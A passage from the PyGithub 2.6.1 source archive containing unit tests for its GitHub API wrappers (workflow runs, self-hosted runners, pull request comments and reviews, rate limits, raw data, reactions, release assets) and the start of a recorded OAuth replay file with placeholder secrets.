and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class PullRequest1682(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("ReDASers/Phishing-Detection") def test_no_parameters(self): runs = self.repo.get_workflow_runs() self.assertEqual(313400760, runs[0].id) def test_object_parameters(self): branch = self.repo.get_branch("adversary") runs = self.repo.get_workflow_runs(branch=branch) self.assertEqual(204764033, runs[0].id) self.assertEqual(1, runs.totalCount) user = self.g.get_user("shahryarabaki") runs = self.repo.get_workflow_runs(actor=user) self.assertEqual(28372848, runs[0].id) def test_string_parameters(self): runs = self.repo.get_workflow_runs(actor="xzhou29") self.assertEqual(226142695, runs[0].id) runs = self.repo.get_workflow_runs(branch="API_Flatten") self.assertEqual(287515889, runs[0].id) runs = self.repo.get_workflow_runs(event="pull_request") self.assertEqual(298867254, runs[0].id) runs = self.repo.get_workflow_runs(status="failure") self.assertEqual(292080359, runs[0].id) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PullRequest1684.py0000644000175100001660000001121714756101563017314 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Matthew Neal # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 sfdye # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2020 Victor Zeng # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class PullRequest1684(Framework.TestCase): def setUp(self): super().setUp() self.user = self.g.get_user("ReDASers") self.repo = self.user.get_repo("Phishing-Detection") def testGetRunners(self): runners = self.repo.get_self_hosted_runners() self.assertEqual(19, runners.totalCount) runner = runners[0] self.assertEqual(1363, runner.id) self.assertEqual("windows", runner.os) self.assertEqual("0D80B14DC506", runner.name) self.assertEqual("offline", runner.status) self.assertFalse(runner.busy) labels = runner.labels self.assertEqual(3, len(labels)) self.assertEqual("self-hosted", labels[0]["name"]) self.assertEqual("Windows", labels[1]["name"]) self.assertEqual("X64", labels[2]["name"]) def testDeleteRunnerObject(self): runners = self.repo.get_self_hosted_runners() initial_length = runners.totalCount runner_to_delete = runners[0] result = self.repo.remove_self_hosted_runner(runner_to_delete) self.assertTrue(result) runners = self.repo.get_self_hosted_runners() ids = [runner.id for runner in self.repo.get_self_hosted_runners()] self.assertEqual(initial_length - 1, runners.totalCount) self.assertNotIn(runner_to_delete.id, ids) def testDeleteRunnerId(self): ids = [runner.id for runner in self.repo.get_self_hosted_runners()] id_to_delete = ids[0] result = self.repo.remove_self_hosted_runner(id_to_delete) self.assertTrue(result) ids = [runner.id for runner in self.repo.get_self_hosted_runners()] self.assertNotIn(id_to_delete, ids) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PullRequest2408.py0000644000175100001660000000676714756101563017325 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Matthew Neal # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Anuj Bansal # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Mikhail f. Shiryaev # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class PullRequest2408(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("ReDASers/Phishing-Detection") def test_get_workflow_runs(self): runs = self.repo.get_workflow_runs(head_sha="7aab33f4294ba5141f17bed0aeb1a929f7afc155") self.assertEqual(720994709, runs[0].id) runs = self.repo.get_workflow_runs(exclude_pull_requests=True) self.assertEqual(3519037359, runs[0].id) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PullRequestComment.py0000644000175100001660000001544214756101563020320 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class PullRequestComment(Framework.TestCase): def setUp(self): super().setUp() self.comment = self.g.get_repo("PyGithub/PyGithub").get_pull(31).get_comment(1580134) def testAttributes(self): self.assertEqual( self.comment._links, { "html": {"href": "https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134"}, "pull_request": {"href": "https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}, "self": {"href": "https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134"}, }, ) self.assertEqual(self.comment.author_association, "MEMBER") self.assertEqual(self.comment.body, "Review comment created for PyGithub\n") self.assertIsNone(self.comment.body_html) self.assertIsNone(self.comment.body_text) self.assertEqual(self.comment.commit_id, "8a4f306d4b223682dd19410d4a9150636ebe4206") self.assertEqual(self.comment.created_at, datetime(2012, 9, 11, 20, 6, 32, tzinfo=timezone.utc)) self.assertEqual(len(self.comment.diff_hunk), 434) self.assertEqual(self.comment.html_url, "https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134") self.assertEqual(self.comment.id, 1580134) self.assertIsNone(self.comment.in_reply_to_id) self.assertEqual(self.comment.line, 73) self.assertEqual(self.comment.node_id, "MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDE1ODAxMzQ=") self.assertEqual(self.comment.original_commit_id, "8a4f306d4b223682dd19410d4a9150636ebe4206") self.assertIsNone(self.comment.original_line) self.assertEqual(self.comment.original_position, 5) self.assertIsNone(self.comment.original_start_line) self.assertEqual(self.comment.path, "codegen/templates/GithubObject.py") self.assertEqual(self.comment.position, 5) self.assertIsNone(self.comment.pull_request_review_id) self.assertEqual(self.comment.pull_request_url, "https://api.github.com/repos/PyGithub/PyGithub/pulls/31") self.assertEqual( self.comment.reactions, { "url": "https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134/reactions", "total_count": 2, "+1": 1, "-1": 0, "laugh": 0, "hooray": 1, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0, }, ) self.assertEqual(self.comment.side, "RIGHT") self.assertIsNone(self.comment.start_line) self.assertIsNone(self.comment.start_side) self.assertEqual(self.comment.subject_type, "line") self.assertEqual(self.comment.updated_at, datetime(2012, 9, 11, 20, 6, 32, tzinfo=timezone.utc)) self.assertEqual(self.comment.url, "https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134") self.assertEqual(self.comment.user.login, "jacquev6") self.assertEqual(self.comment.html_url, "https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134") self.assertEqual(repr(self.comment), 'PullRequestComment(user=NamedUser(login="jacquev6"), id=1580134)') def testEdit(self): self.comment.edit("Comment edited by PyGithub") self.assertEqual(self.comment.body, "Comment edited by PyGithub") def testDelete(self): self.comment.delete() def testGetReactions(self): reactions = self.comment.get_reactions() self.assertEqual(reactions[0].content, "+1") def testCreateReaction(self): reaction = self.comment.create_reaction("hooray") self.assertEqual(reaction.id, 17283822) self.assertEqual(reaction.content, "hooray") def testDeleteReaction(self): self.assertTrue(self.comment.delete_reaction(85750463)) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PullRequestFile.py0000644000175100001660000001043314756101563017570 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class PullRequestFile(Framework.TestCase): def setUp(self): super().setUp() self.file = self.g.get_user().get_repo("PyGithub").get_pull(31).get_files()[0] def testAttributes(self): self.assertEqual(self.file.additions, 1) self.assertEqual( self.file.blob_url, "https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py", ) self.assertEqual(self.file.changes, 2) self.assertEqual(self.file.deletions, 1) self.assertEqual(self.file.filename, "codegen/templates/GithubObject.py") self.assertEqual( self.file.patch, '@@ -70,7 +70,7 @@ def __useAttributes( self, attributes ):\n \n # @toto No need to check if attribute is in attributes when attribute is mandatory\n {% for attribute in class.attributes|dictsort:"name" %}\n- if "{{ attribute.name }}" in attributes and attributes[ "{{ attribute.name }}" ] is not None:\n+ if "{{ attribute.name }}" in attributes and attributes[ "{{ attribute.name }}" ] is not None: # pragma no branch\n \n {% if attribute.type.cardinality == "scalar" %}\n {% if attribute.type.simple %}', ) self.assertEqual( self.file.raw_url, "https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py", ) self.assertEqual(self.file.sha, "8a4f306d4b223682dd19410d4a9150636ebe4206") self.assertEqual(self.file.status, "modified") self.assertEqual( repr(self.file), 'File(sha="8a4f306d4b223682dd19410d4a9150636ebe4206", filename="codegen/templates/GithubObject.py")', ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PullRequestReview.py0000644000175100001660000001302514756101563020152 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Aaron Levine # # Copyright 2017 Mike Miller # # Copyright 2017 Simon # # Copyright 2018 Gilad Shefer # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Claire Johns <42869556+johnsc1@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # Copyright 2023 Gael Colas # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from . import Framework class PullRequestReview(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("PyGithub/PyGithub", lazy=True) self.pull = self.repo.get_pull(538) # Test ability to create a review self.created_pullreview = self.pull.create_review( self.repo.get_commit("2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52"), "Some review created by PyGithub", ) # Test ability to get all reviews self.pullreviews = self.pull.get_reviews() # Test ability to get a single review self.pullreview = self.pull.get_review(28482091) def testDoesNotModifyPullRequest(self): self.assertEqual(self.pull.id, 111649703) def testEdit(self): self.pullreview.edit("Comment edited by PyGithub") self.assertEqual(self.pullreview.body, "Comment edited by PyGithub") def testDismiss(self): self.pullreview.dismiss("with prejudice") self.assertEqual(self.pullreview.state, "DISMISSED") def testAttributes(self): self.assertEqual(self.pullreview.id, 28482091) self.assertEqual(self.pullreview.user.login, "jzelinskie") self.assertEqual(self.pullreview.body, "") self.assertEqual(self.pullreview.commit_id, "7a0fcb27b7cd6c346fc3f76216ccb6e0f4ca3bcc") self.assertEqual(self.pullreview.state, "APPROVED") self.assertEqual( self.pullreview.html_url, "https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091", ) self.assertEqual( self.pullreview.pull_request_url, "https://api.github.com/repos/PyGithub/PyGithub/pulls/538", ) self.assertEqual( self.pullreview.submitted_at, datetime(2017, 3, 22, 19, 6, 59, tzinfo=timezone.utc), ) self.assertIn(self.created_pullreview.id, [r.id for r in self.pullreviews]) self.assertEqual( repr(self.pullreview), 'PullRequestReview(user=NamedUser(login="jzelinskie"), id=28482091)', ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PullRequestReview1856.py0000644000175100001660000000432114756101563020475 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2021 Claire Johns <42869556+johnsc1@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class PullRequestReview1856(Framework.TestCase): def setUp(self): super().setUp() pumpkin_repo = self.g.get_repo("CS481-Team-Pumpkin/PyGithub", lazy=True) self.pumpkin_pull = pumpkin_repo.get_pull(4) self.pullreview = self.pumpkin_pull.get_review(631460061) def testDelete(self): self.pullreview.delete() reviews = self.pumpkin_pull.get_reviews() self.assertEqual(list(reviews), []) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/RateLimiting.py0000644000175100001660000001237614756101563017103 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Ed Jackson # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Nikolay Yurin # # Copyright 2024 Bill Napier # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from . import Framework class RateLimiting(Framework.TestCase): def testRateLimiting(self): self.assertEqual(self.g.rate_limiting, (4904, 5000)) self.g.get_user("yurinnick") self.assertEqual(self.g.rate_limiting, (4903, 5000)) self.assertEqual(self.g.rate_limiting_resettime, 1684195041) def testResetTime(self): self.assertEqual(self.g.rate_limiting_resettime, 1684195041) def testGetRateLimit(self): rateLimit = self.g.get_rate_limit() self.assertEqual( repr(rateLimit), "RateLimit(core=Rate(reset=2024-12-13 06:43:18+00:00, remaining=4988, limit=5000))", ) self.assertEqual( repr(rateLimit.core), "Rate(reset=2024-12-13 06:43:18+00:00, remaining=4988, limit=5000)", ) self.assertEqual(rateLimit.core.limit, 5000) self.assertEqual(rateLimit.core.remaining, 4988) self.assertEqual(rateLimit.core.used, 12) self.assertEqual(rateLimit.core.reset, datetime(2024, 12, 13, 6, 43, 18, tzinfo=timezone.utc)) self.assertEqual( repr(rateLimit.actions_runner_registration), "Rate(reset=2024-12-13 07:28:18+00:00, remaining=10000, limit=10000)", ) self.assertEqual( repr(rateLimit.code_scanning_upload), "Rate(reset=2024-12-13 07:28:18+00:00, remaining=1000, limit=1000)" ) self.assertEqual(repr(rateLimit.code_search), "Rate(reset=2024-12-13 06:29:18+00:00, remaining=10, limit=10)") self.assertEqual( repr(rateLimit.dependency_snapshots), "Rate(reset=2024-12-13 06:29:18+00:00, remaining=100, limit=100)" ) self.assertEqual(repr(rateLimit.graphql), "Rate(reset=2024-12-13 06:43:42+00:00, remaining=4808, limit=5000)") self.assertEqual( repr(rateLimit.integration_manifest), "Rate(reset=2024-12-13 07:28:18+00:00, remaining=5000, limit=5000)" ) self.assertEqual(repr(rateLimit.scim), "Rate(reset=2024-12-13 07:28:18+00:00, remaining=15000, limit=15000)") self.assertEqual(repr(rateLimit.search), "Rate(reset=2024-12-13 06:29:18+00:00, remaining=30, limit=30)") self.assertEqual( repr(rateLimit.source_import), "Rate(reset=2024-12-13 06:29:18+00:00, remaining=100, limit=100)" ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/RawData.py0000644000175100001660000001255214756101563016032 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import github.NamedUser from . import Framework class RawData(Framework.TestCase): jacquev6RawData = { "disk_usage": 13812, "private_gists": 5, "public_repos": 21, "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "gravatar_id": "b68de5ae38616c296fa345d2b9df2225", "hireable": False, "id": 327146, "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following", "collaborators": 1, "total_private_repos": 4, "blog": "http://vincent-jacques.net", "followers": 22, "location": "Paris, France", "type": "User", "email": "vincent@vincent-jacques.net", "bio": "", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "owned_private_repos": 4, "company": "Criteo", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "html_url": "https://github.com/jacquev6", "updated_at": "2013-03-12T22:13:32Z", "plan": { "collaborators": 1, "name": "micro", "private_repos": 5, "space": 614400, }, "received_events_url": "https://api.github.com/users/jacquev6/received_events", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "public_gists": 2, "name": "Vincent Jacques", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "url": "https://api.github.com/users/jacquev6", "created_at": "2010-07-09T06:10:06Z", "avatar_url": "https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png", "repos_url": "https://api.github.com/users/jacquev6/repos", "following": 38, "login": "jacquev6", } planRawData = { "collaborators": 1, "name": "micro", "private_repos": 5, "space": 614400, } def testCompletedObject(self): user = self.g.get_user("jacquev6") self.assertTrue(user._CompletableGithubObject__completed) self.assertEqual(user.raw_data, RawData.jacquev6RawData) def testNotYetCompletedObject(self): user = self.g.get_user().get_repo("PyGithub").owner self.assertFalse(user._CompletableGithubObject__completed) self.assertEqual(user.raw_data, RawData.jacquev6RawData) self.assertTrue(user._CompletableGithubObject__completed) def testNonCompletableObject(self): plan = self.g.get_user().plan self.assertEqual(plan.raw_data, RawData.planRawData) def testCreateObjectFromRawData(self): user = self.g.create_from_raw_data(github.NamedUser.NamedUser, RawData.jacquev6RawData) self.assertEqual(user._CompletableGithubObject__completed, True) self.assertEqual(user.name, "Vincent Jacques") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Reaction.py0000644000175100001660000000700714756101563016252 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from . import Framework class Reaction(Framework.TestCase): def setUp(self): super().setUp() self.reactions = self.g.get_user("PyGithub").get_repo("PyGithub").get_issue(28).get_reactions() def testAttributes(self): self.assertEqual(self.reactions[0].content, "+1") self.assertEqual( self.reactions[0].created_at, datetime(2017, 12, 5, 1, 59, 33, tzinfo=timezone.utc), ) self.assertEqual(self.reactions[0].id, 16916340) self.assertEqual(self.reactions[0].user.login, "nicolastrres") self.assertEqual( self.reactions[0].__repr__(), 'Reaction(user=NamedUser(login="nicolastrres"), id=16916340)', ) def testDelete(self): self.reactions[0].delete() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReleaseAsset.py0000644000175100001660000001044114756101563017062 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2017 Chris McBride # # Copyright 2017 Simon # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from . import Framework class ReleaseAsset(Framework.TestCase): def setUp(self): super().setUp() self.release = self.g.get_user().get_repo("PyGithub").get_releases()[0] self.asset = self.release.get_assets()[0] def testAttributes(self): self.assertEqual(self.release.id, 1210814) self.assertEqual(self.asset.id, 16) self.assertEqual( self.asset.url, "https://api.github.com/api/v3/repos/edhollandAL/PyGithub/releases/assets/16", ) self.assertEqual(self.asset.name, "Archive.zip") self.assertEqual(self.asset.label, "Installation msi & runbook zipped") self.assertEqual(self.asset.content_type, "application/zip") self.assertEqual(self.asset.state, "uploaded") self.assertEqual(self.asset.size, 3783) self.assertEqual(self.asset.download_count, 2) self.assertEqual( self.asset.created_at, datetime(2017, 2, 1, 22, 40, 58, tzinfo=timezone.utc), ) self.assertEqual( self.asset.updated_at, datetime(2017, 2, 1, 22, 44, 58, tzinfo=timezone.utc), ) self.assertEqual( self.asset.browser_download_url, "https://github.com/edhollandAL/PyGithub/releases/download/v1.25.2/Asset.zip", ) self.assertEqual(self.asset.uploader.login, "PyGithub") self.assertEqual( repr(self.asset), 'GitReleaseAsset(url="https://api.github.com/api/v3/repos/edhollandAL/PyGithub/releases/assets/16")', ) def testDelete(self): self.assertTrue(self.asset.delete_asset()) def testUpdate(self): new_name = "updated-name.zip" new_label = "Updated label" updated_asset = self.asset.update_asset(new_name, new_label) self.assertEqual(updated_asset.name, new_name) self.assertNotEqual(self.asset.name, updated_asset.name) self.assertEqual(updated_asset.label, new_label) self.assertNotEqual(self.asset.label, updated_asset.label) ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1740145533.8412423 pygithub-2.6.1/tests/ReplayData/0000755000175100001660000000000014756101576016162 5ustar00runnerdocker././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ApplicationOAuth.testEnterpriseGetAccessToken.txt0000644000175100001660000000426614756101563027735 0ustar00runnerdockerhttp POST my.enterprise.com None /login/oauth/access_token {'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} {"client_secret": "client_secret_removed", "code": "oauth_code_removed", "client_id": "client_id_removed", "state": "state_removed"} 200 [('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 